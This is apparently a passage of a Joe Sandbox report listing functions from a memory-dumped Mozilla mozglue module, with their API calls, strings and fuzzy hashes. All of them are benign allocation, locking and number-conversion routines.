Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: fee7d5e84e7d0ba5af816b1a68d687e9b7f2471e4016a4792b0a32f0727b88f1
Instruction ID: 4e5f7f92009dd285a7af9c29a8e7687ab9215361b0851430fcd3b68541f128ee
Opcode Fuzzy Hash: fee7d5e84e7d0ba5af816b1a68d687e9b7f2471e4016a4792b0a32f0727b88f1
Instruction Fuzzy Hash: D021F231B082499BEF04DF65CC88BAE73B9BFC4708F940529E509A7A40DF75A8158BD4

Function 6C52CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CDA4

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

Part of subcall function 6C52D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C52CDBA,00100000,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D158
Part of subcall function 6C52D130: InitializeConditionVariable.KERNEL32(00000098,?,6C52CDBA,00100000,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CDC4

Part of subcall function 6C527480: ReleaseSRWLockExclusive.KERNEL32(?,6C5315FC,?,?,?,?,6C5315FC,?), ref: 6C5274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CECC

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

Part of subcall function 6C51CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C52CEEA,?,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000), ref: 6C51CB57
Part of subcall function 6C51CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C51CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C52CEEA,?,?), ref: 6C51CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D058

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 2ef53b228b6434f9395b7aa7b905f0eda60632a9e33fa6389d9f30af5822c901
Instruction ID: 2902b949aeb8918f4759fcd6c962dbc868010645aee1d02b08ccd4cbd59e6c29
Opcode Fuzzy Hash: 2ef53b228b6434f9395b7aa7b905f0eda60632a9e33fa6389d9f30af5822c901
Instruction Fuzzy Hash: 59D14D71A04B469FD718CF28C880B99F7E1BF89308F01866DD95987752EB31F9A5CB81

Function 6C4E1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C4E17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C4E18EE
free.MOZGLUE(?), ref: 6C4E1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4E194C

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 8b842a0d855b58e5268c5b0af0b88db5c864267e44afecef110610a496ddb1fc
Instruction ID: 217e7838c2e53087907c43c068332d5974817e67101c5fa79c10eee9798234c2
Opcode Fuzzy Hash: 8b842a0d855b58e5268c5b0af0b88db5c864267e44afecef110610a496ddb1fc
Instruction Fuzzy Hash: 0081BD70A112059FCB08CF68D894DAEBBB1FF89315F05466DE851AB752D730E849CBA2

Function 6C4F5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C4F5D40
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67
__aulldiv.LIBCMT ref: 6C4F5DB4
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 348b974e5562f03ae68c908c922fa127b59e482b2fe6b703d768d85cc09853de
Instruction ID: 77fa3a47cfa6e74ef20e546193986b6b62af70c4a1057a89734af9807bb22736
Opcode Fuzzy Hash: 348b974e5562f03ae68c908c922fa127b59e482b2fe6b703d768d85cc09853de
Instruction Fuzzy Hash: 2F516171E011198FCF08CF68CC54EAEBBB2FB85304F5A861DD865A7B91C7706946CBA4

Function 6C4DCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4DCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C4DCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C4DCF4E

Strings

0, xrefs: 6C4DCF30

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: c58fd33a75997e4271e19459891d7e4beff0685fb622f0494bd26d71b54ae881
Instruction ID: 9dcfe6377f33820f80d7c9f88ee371aabf01a07bc61ae29bf4b730ddd3acd940
Opcode Fuzzy Hash: c58fd33a75997e4271e19459891d7e4beff0685fb622f0494bd26d71b54ae881
Instruction Fuzzy Hash: 5A51F275A00216CFCB00DF18C8A0E9AB7A5EF99304F1A859DD8595F391D771BD06CBE0

Function 6C5377D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5377FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C537829

Part of subcall function 6C50CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C4D31A7), ref: 6C50CC45
Part of subcall function 6C50CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C4D31A7), ref: 6C50CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C53789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5378CF

Part of subcall function 6C4D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
Part of subcall function 6C4D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 15d0dff36e48aff2672679de65cb2820a04b6fb4f891c78e181ea1d4059c63d8
Instruction ID: 19fec33356f4042df9c3222076b6b7aefad17e478c77b6234113b98c4945b272
Opcode Fuzzy Hash: 15d0dff36e48aff2672679de65cb2820a04b6fb4f891c78e181ea1d4059c63d8
Instruction Fuzzy Hash: 8B419271904746DBD300DF29C88096AFBF4FFCA254F604A1DE4A987650EB70E559CBD2

Function 6C516470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5182BC,?,?), ref: 6C51649B

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5164A9

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C51653F
free.MOZGLUE(?), ref: 6C51655A

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: be4d7da87eca18513b5b250e1b43df9153d5adcf6539c9d35dfa461125e30403
Instruction ID: 9b245d6fd10c9d1d06af1f5f27ad3b9c753e7a9e1c8f7e79089778fb14de1616
Opcode Fuzzy Hash: be4d7da87eca18513b5b250e1b43df9153d5adcf6539c9d35dfa461125e30403
Instruction Fuzzy Hash: CD3192B5A083059FD700DF14D884A9BBBE4FFD8314F41842EE89A97751EB34E909CB92

Function 6C50FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?), ref: 6C50FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?), ref: 6C50FFF5
free.MOZGLUE(?,?,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?), ref: 6C51001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?), ref: 6C51002A

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: a149b102babba798f9ff6286ccb36d4675ef398ffe8a3001b83e2abc91aea669
Instruction ID: 99d04b869f29be0ca19d5b413b4f1c55629f073a6cb6ee33d7baeca538903683
Opcode Fuzzy Hash: a149b102babba798f9ff6286ccb36d4675ef398ffe8a3001b83e2abc91aea669
Instruction Fuzzy Hash: E221F1B2B002159FD7089E689C848AEB7BAEBC53247254338E425D7780EB30AD0183E4

Function 6C4EB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4EB4F5
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4EB502
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4EB542
free.MOZGLUE(?), ref: 6C4EB578

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 08ca15f70d40ecfbd3a0c7fa69d47b5c680fe669691201a562a601a9582ed100
Instruction ID: 9669f87948b761f7414db17a782b4c70a1912c5893f4034b5b6bf1d8ff4c1abc
Opcode Fuzzy Hash: 08ca15f70d40ecfbd3a0c7fa69d47b5c680fe669691201a562a601a9582ed100
Instruction Fuzzy Hash: 2811C030A04B41C7D712CF29C904F62B3B0FF9A32AF96970AD84953A01EBB1A1C5C798

Function 6C513DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C4DF20E,?), ref: 6C513DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C4DF20E,00000000,?), ref: 6C513DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C513E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C513E0E

Part of subcall function 6C50CC00: GetCurrentProcess.KERNEL32(?,?,6C4D31A7), ref: 6C50CC0D
Part of subcall function 6C50CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C4D31A7), ref: 6C50CC16

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 0e09480a334a0569034964d65b9622b48cafa0f3db79abd914e0dd174b48b742
Instruction ID: 058649f14acf1def78cac8b1e269350aceeee4c275fa1b4db5eb8aeb2e01ae3a
Opcode Fuzzy Hash: 0e09480a334a0569034964d65b9622b48cafa0f3db79abd914e0dd174b48b742
Instruction Fuzzy Hash: 42F01271600208BBD700AB54DC45DAB376DEF86624F454020FD0857741D775BE1996FB

Function 6C522050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C52201B,?,?,?,?,?,?,?,6C521F8F,?,?), ref: 6C522064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52208E
free.MOZGLUE(?,?,?,00000000,?,6C52201B,?,?,?,?,?,?,?,6C521F8F,?,?), ref: 6C5220A3

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 24d2cd46e4179c829dc1f1ddedd9a5f168f704b63f01ff979a29d83cb84f4a01
Instruction ID: 0997b760b8da0b83814a40e0583a75971d263146d3fc7ae9df4edc545a146a52
Opcode Fuzzy Hash: 24d2cd46e4179c829dc1f1ddedd9a5f168f704b63f01ff979a29d83cb84f4a01
Instruction Fuzzy Hash: F9F0B4752007009BC7119F16DC8CB5BBBF8EF86334F15011AE50687710C776A806CB9A

Function 6C5285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5285D3

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C528725

Strings

map/set<T> too long, xrefs: 6C528720

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: c8d24721557e90062b8218c3c3a9468ac1de74509a9990758c16284bf67071d0
Instruction ID: 4f385dedfb98fabe8df844aeb02051127d12919e1f1133b2009063d432a9556c
Opcode Fuzzy Hash: c8d24721557e90062b8218c3c3a9468ac1de74509a9990758c16284bf67071d0
Instruction Fuzzy Hash: 0F515575A00651CFD701CF58C884A59BBF1BF99318F18C18AD8595BB92C339F885CF92

Function 6C4DBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C4DBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4DBE8F

Strings

0, xrefs: 6C4DBE5B

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3fbdef1a850ca7a56c984dc1bf4d8afb2d0b8183ef3f25e9f3380088a8db82ed
Instruction ID: c88cef075f4fa102286f285d45a5ca668dd5e84417fdd9d6f7db4a4a2625f908
Opcode Fuzzy Hash: 3fbdef1a850ca7a56c984dc1bf4d8afb2d0b8183ef3f25e9f3380088a8db82ed
Instruction Fuzzy Hash: BC418F71909745CFC701EF28C491E9BB7F4AF8A348F018A1DF985A7611D730E9598B82

Function 6C513CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C513D19
mozalloc_abort.MOZGLUE(?), ref: 6C513D6C

Strings

d, xrefs: 6C513D58

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: cd8c6bb0fa601f5d34fbf9696ba13a16bea354c52a3fa1c5b758cf0b56afb9bf
Instruction ID: 798184d4731e7365e791aebf73fce770570e0db22dff71d511fec8476529562e
Opcode Fuzzy Hash: cd8c6bb0fa601f5d34fbf9696ba13a16bea354c52a3fa1c5b758cf0b56afb9bf
Instruction Fuzzy Hash: 56110831E18648DBEB009F69CC284EDB775EF86358B858219DC4497A01FB30A584C390

Function 6C4E4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4E44B2,6C55E21C,6C55F7F8), ref: 6C4E473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4E474A

Strings

GetNtLoaderAPI, xrefs: 6C4E4744

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 771f8ead10cec1ebc47054a44f378b9bacdaa03b05bdd9b86254f2945e7e8988
Instruction ID: a56501515a617780b0a2058231e9d942cfbc90158428c02e23cc650ca1ae5ace
Opcode Fuzzy Hash: 771f8ead10cec1ebc47054a44f378b9bacdaa03b05bdd9b86254f2945e7e8988
Instruction Fuzzy Hash: 0F0156757052149FDF00AFAA8C489297BF9EB8F352B474066EA05C7750DB74D8018F95

Function 6C536DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C536E22
__Init_thread_footer.LIBCMT ref: 6C536E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C536E1D

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 4d94d81df386666e9d4fddb29fcc1d44f31e087122a894daca7f1f1d2ff3a52b
Instruction ID: c7aeced5866600bb9a16490487c29d1b50db2a559caed5be62b3a2d55d12c8f6
Opcode Fuzzy Hash: 4d94d81df386666e9d4fddb29fcc1d44f31e087122a894daca7f1f1d2ff3a52b
Instruction Fuzzy Hash: 14F05931604340CBDA008B68CC50A9B37716743318F85126AC40987BE1EB20B91ADA97

Function 6C4E9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C4E9EEF

Strings

Infinity, xrefs: 6C4E9EB7
NaN, xrefs: 6C4E9EC1

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

